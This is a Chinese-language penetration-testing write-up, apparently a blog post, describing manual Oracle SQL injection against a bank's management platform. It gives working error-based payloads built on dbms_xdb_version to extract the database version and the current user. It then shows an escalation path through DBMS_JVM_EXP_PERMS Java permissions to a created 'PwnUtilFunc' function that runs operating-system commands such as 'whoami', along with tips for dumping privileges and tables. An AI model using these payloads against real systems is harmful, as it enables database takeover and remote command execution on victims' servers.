注入点发现
同事在代码审计时发现某银行的管理平台存在sql注入点:
但是通过sqlmap进行注入点检测时,却检测不出,于是尝试手工注入。
报错注入
数据库版本:
当前用户:
版本信息
1 | and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null-- |
当前用户
1 | and+(select+dbms_xdb_version.makeversioned((select+user+from+dual))+from+dual)+is+not+null+-- |
尝试执行命令
查看用户权限
于是尝试执行命令,oracle不能直接调用shell,需要借助java来执行系统命令。
获取Java执行权限
以下的方法适用于用户具有CREATE SESSION
的权限:
获取Java权限
1 | DECLARE |
获得java.lang.RuntimePermission权限以执行任意代码
1 | DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; |
创建Java函数以执行命令
查询java权限
1 | select wmsys.wm_concat(type_name) from user_java_policy |
创建java函数
1 | BEGIN |
赋予函数执行权限
1 | BEGIN |
执行命令
1 | SELECT PwnUtilFunc('whoami') FROM dual; |
报错注入需要注意的地方
报错注入的回显信息有限,很多时候只能回显数据表中的第一行数据,这时候要用到wmsys.wm_concat
拼接函数来把某个字段的信息转换为一行记录输出,就像上面在查看数据库用户的权限时的操作一样。
1 | SELECT+wmsys.wm_concat(session_privs.privilege)+FROM+session_privs |
附注
查询所有的用户表
1 | SELECT * FROM USER_TABLES |
查询某个用户表xxx的字段名和数据类型
1 | select A.COLUMN_NAME,A.DATA_TYPE from user_tab_columns A where TABLE_NAME='xxx' |
以及一些常用的系统表
1 | dba_开头..... |